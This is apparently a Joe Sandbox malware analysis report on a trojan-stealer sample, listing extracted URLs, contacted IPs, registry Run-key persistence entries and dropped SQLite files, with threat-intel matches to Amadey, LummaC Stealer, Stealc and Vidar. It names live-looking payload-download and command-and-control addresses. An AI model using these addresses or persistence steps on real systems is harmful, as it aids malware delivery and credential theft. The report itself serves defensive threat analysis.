http://x1.c.lencr.org/0	79ddad050f.exe, 00000008.00000003.3032492622.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3229768373.0000000005951000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3635856106.000001C23D888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3182542929.000001C2444C4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	79ddad050f.exe, 00000008.00000003.3032492622.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3229768373.0000000005951000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3635856106.000001C23D888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3182542929.000001C2444C4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://80.82.65.70/x5	4611cc433b.exe, 00000007.00000003.3163894941.000000000582E000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3084697662.000000000582E000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3112387796.000000000582E000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3190888969.000000000582E000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3032447752.000000000582B000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3217243065.000000000582B000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3059188991.000000000582E000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3137633696.000000000582E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 0000001B.00000003.3179417311.000001C244753000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3210547179.000001C24474D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mozilla-hub.atlassian.net/browse/SDK-405	firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/forceWaitHttpsRR	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique2/random.exeed	skotes.exe, 00000006.00000002.3269197197.000000000105B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/userDISCOVERY_STREAM_DEV_SYNC_RS	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	79ddad050f.exe, 0000000A.00000003.3237477005.0000000005A5A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://identity.mozilla.com/apps/relay	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3640448626.000001C23DD3A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 0000001B.00000003.3247118953.000001C23C2DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3609614943.000001C23C173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B4C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3610402766.000001C23C2DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3155911537.000001C23C2DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3190903073.000001C23EDE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3651042917.000001C23EDE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437483944.000001C23A0C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.3653135084.000001C23FB7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3635856106.000001C23D804000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3263358958.000001E2D6CB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3267971841.00000235A5890000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.amazon.co.uk/	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3191842126.000001C23ED61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3651042917.000001C23ED61000.00000004.00000800.00020000.00000000.sdmp	false		high
http://80.82.65.70/files/download:5A	4611cc433b.exe, 00000007.00000003.3163894941.000000000582E000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3084697662.000000000582E000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3112387796.000000000582E000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3190888969.000000000582E000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3217243065.000000000582B000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3137633696.000000000582E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://atten-supporse.biz/apipy	79ddad050f.exe, 00000008.00000003.3004575297.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://screenshots.firefox.com/	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150637847.000001C23BE3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3610655302.000001C23C303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150450150.000001C23BE1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150800700.000001C23BE60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3610655302.000001C23C377000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3619069627.000001C23C690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.3150183043.000001C23C300000.00000004.00000800.00020000.00000000.sdmp	false		high
https://truecolors.firefox.com/	firefox.exe, 0000001B.00000002.3624313828.000001C23CBC5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox-source-docs.mozilla.org/remote/Security.html	firefox.exe, 0000001B.00000002.3351773313.000001C238527000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
http://json-schema.org/draft-07/schema#-	firefox.exe, 0000001B.00000002.3637244801.000001C23DABF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://80.82.65.70/add?substr=mixtwo&s=three&sub=empry	4611cc433b.exe, 00000007.00000002.3287900266.0000000005490000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/dnsMaxAnyPriorityThreads	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/	firefox.exe, 0000001B.00000002.3624313828.000001C23CBC5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
https://account.bellmedia.ca_createPermissionClearButtontemplate-permission-popup_createBlockedPopup	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://watch.sling.com/	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3643180595.000001C23E02D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 0000001B.00000003.3179417311.000001C244753000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3210547179.000001C24474D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestShouldShowOnboardingDialog	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
http://80.82.65.70/add?substr=mixtwo&s=three&sub=empI	4611cc433b.exe, 00000007.00000002.3287900266.0000000005490000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://monitor.firefox.com/	firefox.exe, 0000001B.00000002.3624313828.000001C23CBC5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz:443/api	79ddad050f.exe, 00000008.00000003.3129362913.0000000001002000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3129511355.0000000001002000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000002.3262371223.0000000000FFB000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000002.3261656724.0000000000F85000.00000004.00000020.00020000.00000000.sdmp	false		high
http://json-schema.org/draft-06/schema#	firefox.exe, 0000001B.00000002.3637244801.000001C23DABF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/1/items	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestImpressionCapsNonSponsoredEnabled	firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
80.82.65.70	unknown	Netherlands	202425	INT-NETWORKSC	false
104.21.64.1	atten-supporse.biz	United States	13335	CLOUDFLARENETUS	false
142.250.181.142	youtube.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.243.93	push.services.mozilla.com	United States	15169	GOOGLEUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	prod.ads.prod.webservices.mozgcp.net	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1572092
Start date and time:	2024-12-10 05:08:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	36
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@67/35@29/16
EGA Information:	Successful, ratio: 85.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 64.233.162.84, 172.217.17.46, 54.200.77.17, 35.85.93.176, 44.228.225.150, 4.175.87.197, 13.107.246.63, 4.245.163.56, 184.30.17.174
Excluded domains from analysis (whitelisted): fs.microsoft.com, shavar.prod.mozaws.net, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, detectportal.prod.mozaws.net, aus5.mozilla.org, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, clients.l.google.com, location.services.mozilla.com
Execution Graph export aborted for target 79ddad050f.exe, PID 5228 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
05:08:56	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
05:10:29	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 79ddad050f.exe C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe
05:10:37	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run e051bdf457.exe C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe
05:10:46	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ba17bbfb21.exe C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe
05:11:00	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 734386a52c.exe C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe
05:11:10	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 79ddad050f.exe C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe
05:11:23	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run e051bdf457.exe C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe
05:11:34	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run ba17bbfb21.exe C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe
23:10:01	API Interceptor	671x Sleep call for process: skotes.exe modified
23:10:27	API Interceptor	27x Sleep call for process: 79ddad050f.exe modified
23:10:44	API Interceptor	57x Sleep call for process: 4611cc433b.exe modified
23:10:50	API Interceptor	62x Sleep call for process: e051bdf457.exe modified
23:10:51	API Interceptor	1x Sleep call for process: firefox.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
80.82.65.70	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70/files/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	80.82.65.70/files/download
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	80.82.65.70/files/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
atten-supporse.biz	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.32.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.16.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.80.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	104.21.32.1
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	104.21.80.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.80.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.112.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.48.1
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	93.184.215.14
ipv4only.arpa	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.171
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.171
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.171
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	192.0.0.171
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.171
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.170
	file.exe	Get hash	malicious	Credential Flusher	Browse	192.0.0.171
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	192.0.0.171

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
INT-NETWORKSC	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	80.82.65.70
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	80.82.65.70
CLOUDFLARENETUS	http://email.edms.trackingmore.com/c/eJx0zrFuhDAMgOGnCWPE2YHAkKELr4FsxwF05EBJWun69JU6den8D_8XQz88mKXT8PCICDi6udsDJB44oUuePHiZGCABe0UvMAlP3RGGSSHOI4w--d7NiUdBAlQPKglkNq7Pb9sKyfN4bfkqauXK3Rn21m6DHwYWA0usZKlGu50X03lT2-tOJ1mNn_Z1G1hK7PJ7zVorbboe8Y9z_T7kWS7W0tD1xvVbpuP8vZTwf_sK8BMAAP__3p9Nvw#4UjjVf19156dXgi477henjyiztuh1607QELNKWKBNFUHFFI32RLCJ32096s9/84502vqz	Get hash	malicious	Phisher	Browse	104.21.77.48
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.32.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.16.1
	la.bot.mips.elf	Get hash	malicious	Mirai	Browse	162.159.25.122
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	Updates.bat	Get hash	malicious	Abobus Obfuscator	Browse	172.65.251.78
	http://842991738.747100519.128322614.784396125.visitorchecking.ru/?ws=628584733.299643379.127950398.351850602	Get hash	malicious	Unknown	Browse	172.67.134.63
	rPurchaseOrder_PO19202409.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	CLDownloader.exe	Get hash	malicious	XWorm	Browse	172.67.70.46
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.64.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	104.21.64.1
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	104.21.64.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.64.1
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	35.244.181.201 34.160.144.191

Process:	C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJKFBAKFBGDHIEBGDAKF

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
